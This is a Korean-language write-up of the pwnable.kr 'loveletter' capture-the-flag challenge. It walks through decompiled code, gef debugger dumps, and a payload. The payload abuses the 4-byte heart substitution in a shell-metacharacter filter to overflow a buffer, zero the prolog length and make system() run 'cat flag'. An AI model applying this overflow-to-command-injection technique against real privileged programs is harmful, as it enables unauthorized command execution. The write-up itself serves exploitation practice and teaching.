콘텐츠로 건너뛰기

loveletter

Description

At the end... all that matters is love.
author: Jiwon Choi

ssh [email protected] -p2222 (pw:guest)

Decompiled src

  • protect

a1"#&;‘\”|*?~<>^()[]{}$\\,”` 특수 문자 중 하나가 있으면, 그 뒤에 이어지는 문자열을 따로 빼고, 원래 문자열을 ♥로 잘라내고 다시 붙인다.

unsigned int __cdecl protect(const char *a1)
{
  size_t i; // eax
  size_t v2; // esi
  size_t v3; // eax
  size_t v5; // [esp+1Ch] [ebp-12Ch]
  size_t j; // [esp+20h] [ebp-128h]
  char v7[279]; // [esp+25h] [ebp-123h] BYREF
  unsigned int v8; // [esp+13Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  strcpy(v7, "#&;`'\"|*?~<>^()[]{}$\\,");
  v5 = 0;
  for ( i = strlen(a1); i > v5; i = strlen(a1) )
  {
    for ( j = 0; strlen(v7) > j; ++j )
    {
      if ( a1[v5] == v7[j] )
      {
        strcpy(&v7[23], &a1[v5 + 1]);
        *(_DWORD *)&a1[v5] = 0xA599E2;          // ♥
        v2 = strlen(&v7[23]);
        v3 = strlen(a1);
        memcpy((void *)&a1[v3], &v7[23], v2);
      }
    }
    ++v5;
  }
  return v8 - __readgsdword(0x14u);
}
  • main

사용자에게 “lover’s name”을 물어보고 fgets로 읽는다.

fgets가 남기는 '\\n'0으로 덮어써서 문자열 끝을 정리한다.

protect(s)를 호출해 이름에 포함된 쉘 특수문자를 모두 하트(♥)로 치환한다.

prolog + (하트로 필터링된)이름 + epilog 순으로 loveletter 변수에 복사하고 system(loveletter)을 호출한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // esi
  __gid_t v4; // eax
  int v6; // [esp+0h] [ebp-12Ch]
  char s[256]; // [esp+4h] [ebp-128h] BYREF
  size_t n; // [esp+104h] [ebp-28h]
  size_t v9; // [esp+108h] [ebp-24h]
  size_t v10; // [esp+10Ch] [ebp-20h]
  unsigned int v11; // [esp+110h] [ebp-1Ch]
  int *p_argc; // [esp+120h] [ebp-Ch]

  p_argc = &argc;
  HIBYTE(v6) = HIBYTE(argv);
  v11 = __readgsdword(0x14u);
  memset(loveletter, 0, sizeof(loveletter));
  v9 = strlen(epilog);
  n = strlen(prolog);
  printf("♥ My lover's name is : ");
  fgets(s, 256, stdin);
  if ( s[strlen(s) - 1] == 0xA )
    s[strlen(s) - 1] = 0;
  puts("♥ Whatever happens, I'll protect her...");
  protect(s);
  v10 = strlen(s);
  puts("♥ Impress her upon my memory...");
  memcpy(&loveletter[(unsigned __int16)idx], prolog, n);
  idx += n;
  memcpy(&loveletter[(unsigned __int16)idx], s, v10);
  idx += v10;
  memcpy(&loveletter[(unsigned __int16)idx], epilog, v9);
  idx += v9;
  puts("♥ Her name echos in my mind...");
  v3 = getegid();
  v4 = getegid();
  setregid(v4, v3);
  system(loveletter);
  return 0;
}

Analysis

언뜻보기엔 fgets를 통해 256바이트만 입력받기에 버퍼 오버플로우가 발생하지 않은 것처럼 보이지만,

int __cdecl main(int argc, const char **argv, const char **envp)
{
...
  char s[256]; // [esp+4h] [ebp-128h] BYREF
...
  fgets(s, 256, stdin);
...
}

protect 함수에서 특수문자들 중 하나가 포함되면 특수 문자 1바이트가 4바이트씩이나 차지하는 마법을 볼 수 있다.

unsigned int __cdecl protect(const char *a1)
{
...
  strcpy(v7, "#&;`'\"|*?~<>^()[]{}$\\,");
...
      if ( a1[v5] == v7[j] )
      {
        strcpy(&v7[23], &a1[v5 + 1]);
        *(_DWORD *)&a1[v5] = 0xA599E2;          // ♥
        v2 = strlen(&v7[23]);
        v3 = strlen(a1);
        memcpy((void *)&a1[v3], &v7[23], v2);
      }
    }
...
}

따라서 fgets를 통해 입력할때 A 문자 253개 넣고 특수문자 ;을 넣으면, 0xffffd5c0 주소에는 0xc , n = strlen(prolog); 값이 들어간다.

Breakpoint 7, 0x0804928c in protect ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x0804c000  →  0x0804bf10  →  <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx   : 0xf7fae9b4  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffd350  →  0xf7e08e5b  →   add ebx, 0x1a41a5
$ebp   : 0xffffd498  →  0xffffd5e8  →  0xf7ffd020  →  0xf7ffda40  →  0x00000000
$esi   : 0xffffd6b4  →  0xffffd7f8  →  "/home/ubuntu/pwnable.kr/loveletter/loveletter"
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x0804928c  →  <protect+0076> jmp 0x804936d <protect+343>
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd350│+0x0000: 0xf7e08e5b  →   add ebx, 0x1a41a5	 ← $esp
0xffffd354│+0x0004: 0xf7ffdc0c  →  0xf7ffdba0  →  0xf7fbe780  →  0xf7ffda40  →  0x00000000
0xffffd358│+0x0008: 0xffffd3d4  →  0x0804d1a0  →  0x20a599e2
0xffffd35c│+0x000c: 0xffffd4c0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd360│+0x0010: 0x08048335  →  "puts"
0xffffd364│+0x0014: 0xf7fd0294  →   add esp, 0x30
0xffffd368│+0x0018: 0x0804828c  →  0x00000029 (")"?)
0xffffd36c│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049272 <protect+005c>   mov    WORD PTR [ebp-0x10f], 0x2c5c
    0x804927b <protect+0065>   mov    BYTE PTR [ebp-0x10d], 0x0
    0x8049282 <protect+006c>   mov    DWORD PTR [ebp-0x12c], 0x0
 →  0x804928c <protect+0076>   jmp    0x804936d <protect+343>
    0x8049291 <protect+007b>   mov    DWORD PTR [ebp-0x128], 0x0
    0x804929b <protect+0085>   jmp    0x8049346 <protect+304>
    0x80492a0 <protect+008a>   mov    edx, DWORD PTR [ebp-0x12c]
    0x80492a6 <protect+0090>   mov    eax, DWORD PTR [ebp-0x13c]
    0x80492ac <protect+0096>   add    eax, edx
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x804928c in protect (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804928c → protect()
[#1] 0x80494b0 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  x/wx $ebp-0x13c
0xffffd35c:	0xffffd4c0
gef➤  x/70wx 0xffffd4c0
0xffffd4c0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd4d0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd4e0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd4f0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd500:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd510:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd520:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd530:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd540:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd550:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd560:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd570:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd580:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd590:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd5a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd5b0:	0x41414141	0x41414141	0x41414141	0x00003b41
0xffffd5c0:	0x0000000c	0x0000000b	0xf7d9f4be	0xb3c9a000
0xffffd5d0:	0xffffd610	0xf7fbe66c

그러나 치환되는 4바이트 값에 의해, n 값을 0으로 만들어줄 수 있다.

Breakpoint 6, 0x0804933c in protect ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd5c0  →  0x00000000
$ebx   : 0x0804c000  →  0x0804bf10  →  <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx   : 0x0       
$edx   : 0x0       
$esp   : 0xffffd340  →  0xffffd5c0  →  0x00000000
$ebp   : 0xffffd498  →  0xffffd5e8  →  0xf7ffd020  →  0xf7ffda40  →  0x00000000
$esi   : 0x0       
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x0804933c  →  <protect+0126> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd340│+0x0000: 0xffffd5c0  →  0x00000000	 ← $esp
0xffffd344│+0x0004: 0xffffd38c  →  0xf7e8f600  →  <read+0090> mov edx, DWORD PTR [esi-0x134]
0xffffd348│+0x0008: 0x00000000
0xffffd34c│+0x000c: 0x08049226  →  <protect+0010> add ebx, 0x2dda
0xffffd350│+0x0010: 0xf7e08e5b  →   add ebx, 0x1a41a5
0xffffd354│+0x0014: 0xf7ffdc0c  →  0xf7ffdba0  →  0xf7fbe780  →  0xf7ffda40  →  0x00000000
0xffffd358│+0x0018: 0xffffd3d4  →  0x0804d1a0  →  0x20a599e2
0xffffd35c│+0x001c: 0xffffd4c0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8049335 <protect+011f>   push   eax
    0x8049336 <protect+0120>   push   edx
    0x8049337 <protect+0121>   call   0x8049060 <memcpy@plt>
 →  0x804933c <protect+0126>   add    esp, 0x10
    0x804933f <protect+0129>   add    DWORD PTR [ebp-0x128], 0x1
    0x8049346 <protect+0130>   sub    esp, 0xc
    0x8049349 <protect+0133>   lea    eax, [ebp-0x123]
    0x804934f <protect+0139>   push   eax
    0x8049350 <protect+013a>   call   0x80490d0 <strlen@plt>
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x804933c in protect (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804933c → protect()
[#1] 0x80494b0 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  x/70wx 0xffffd4c0
0xffffd4c0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd4d0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd4e0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd4f0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd500:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd510:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd520:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd530:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd540:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd550:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd560:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd570:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd580:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd590:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd5a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd5b0:	0x41414141	0x41414141	0x41414141	0xa599e241
0xffffd5c0:	0x00000000	0x0000000b	0xf7d9f4be	0xb3c9a000
0xffffd5d0:	0xffffd610	0xf7fbe66c

main으로 복귀했을때도 main의 n[ebp-28h] 위치에 있는데, 0으로 덮힌다.

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd4c0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x0804c000  →  0x0804bf10  →  <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx   : 0x0       
$edx   : 0x100     
$esp   : 0xffffd4a0  →  0xffffd4c0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0xffffd5e8  →  0xf7ffd020  →  0xf7ffda40  →  0x00000000
$esi   : 0xffffd6b4  →  0xffffd7f8  →  "/home/ubuntu/pwnable.kr/loveletter/loveletter"
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x080494bd  →  <main+0118> call 0x80490d0 <strlen@plt>
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd4a0│+0x0000: 0xffffd4c0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"	 ← $esp
0xffffd4a4│+0x0004: 0x00000100
0xffffd4a8│+0x0008: 0xf7fad620  →  0xfbad2288
0xffffd4ac│+0x000c: 0x080493c0  →  <main+001b> add ebx, 0x2c40
0xffffd4b0│+0x0010: 0xf7fc6460  →  0x00000000
0xffffd4b4│+0x0014: 0xf7ffd000  →  0x00036f2c
0xffffd4b8│+0x0018: 0xf7fc6700  →  0x74725f00
0xffffd4bc│+0x001c: 0xffffd6b4  →  0xffffd7f8  →  "/home/ubuntu/pwnable.kr/loveletter/loveletter"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80494b3 <main+010e>      sub    esp, 0xc
    0x80494b6 <main+0111>      lea    eax, [ebp-0x128]
    0x80494bc <main+0117>      push   eax
 →  0x80494bd <main+0118>      call   0x80490d0 <strlen@plt>
   ↳   0x80490d0 <strlen@plt+0000> jmp    DWORD PTR ds:0x804c030
       0x80490d6 <strlen@plt+0006> push   0x48
       0x80490db <strlen@plt+000b> jmp    0x8049030
       0x80490e0 <memset@plt+0000> jmp    DWORD PTR ds:0x804c034
       0x80490e6 <memset@plt+0006> push   0x50
       0x80490eb <memset@plt+000b> jmp    0x8049030
─────────────────────────────────────────────────────────── arguments (guessed) ────
strlen@plt (
   [sp + 0x0] = 0xffffd4c0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
)
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x80494bd in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80494bd → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  x/wx $ebp-0x28
0xffffd5c0:	0x00000000

따라서

memcpy(&loveletter[(unsigned __int16)idx], prolog, n);

코드를 무력화시킬 수 있다.

Result

최종적으로 ("cat flag " + "A"*244 + ";"*1) 텍스트를 만들어서 보내면 치환되어 bof 취약점을 일으켜 n의 len 값이 0이되고, s 문자열에 의해 flag를 획득할 수 있다.

Breakpoint 1, 0x080495c9 in main ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0804c0a0  →  "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x0804c000  →  0x0804bf10  →  <_DYNAMIC+0000> add DWORD PTR [eax], eax
$ecx   : 0x3e8     
$edx   : 0x0       
$esp   : 0xffffd4a0  →  0x0804c0a0  →  "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0xffffd5e8  →  0xf7ffd020  →  0xf7ffda40  →  0x00000000
$esi   : 0x3e8     
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x080495c9  →  <main+0224> call 0x80490c0 <system@plt>
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────── stack ────
0xffffd4a0│+0x0000: 0x0804c0a0  →  "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"	 ← $esp
0xffffd4a4│+0x0004: 0x000003e8
0xffffd4a8│+0x0008: 0xf7e64cf0  →  <getegid+0010> ret 
0xffffd4ac│+0x000c: 0x080495b2  →  <main+020d> sub esp, 0x8
0xffffd4b0│+0x0010: 0xf7fc6460  →  0x00000000
0xffffd4b4│+0x0014: 0xf7ffd000  →  0x00036f2c
0xffffd4b8│+0x0018: 0xf7fc6700  →  0x74725f00
0xffffd4bc│+0x001c: 0xffffd6b4  →  0xffffd7f8  →  "/home/ubuntu/pwnable.kr/loveletter/loveletter"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80495bf <main+021a>      sub    esp, 0xc
    0x80495c2 <main+021d>      lea    eax, [ebx+0xa0]
    0x80495c8 <main+0223>      push   eax
 →  0x80495c9 <main+0224>      call   0x80490c0 <system@plt>
   ↳   0x80490c0 <system@plt+0000> jmp    DWORD PTR ds:0x804c02c
       0x80490c6 <system@plt+0006> push   0x40
       0x80490cb <system@plt+000b> jmp    0x8049030
       0x80490d0 <strlen@plt+0000> jmp    DWORD PTR ds:0x804c030
       0x80490d6 <strlen@plt+0006> push   0x48
       0x80490db <strlen@plt+000b> jmp    0x8049030
─────────────────────────────────────────────────────────── arguments (guessed) ────
system@plt (
   [sp + 0x0] = 0x0804c0a0 → "cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
)
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loveletter", stopped 0x80495c9 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80495c9 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤  x/wx $esp
0xffffd4a0:	0x0804c0a0
gef➤  x/s 0x0804c0a0
0x804c0a0 <loveletter>:	"cat flag ", 'A' <repeats 244 times>, "♥ very much!"
gef➤  
loveletter@ubuntu:~$ nc 0 9034
cat flag AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
I_Am_Y0ur_eternal_Lov3r
cat: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA♥: No such file or directory
cat: very: No such file or directory
cat: 'much!': No such file or directory
♥ My lover's name is : ♥ Whatever happens, I'll protect her...
♥ Impress her upon my memory...
♥ Her name echos in my mind...
^C
태그: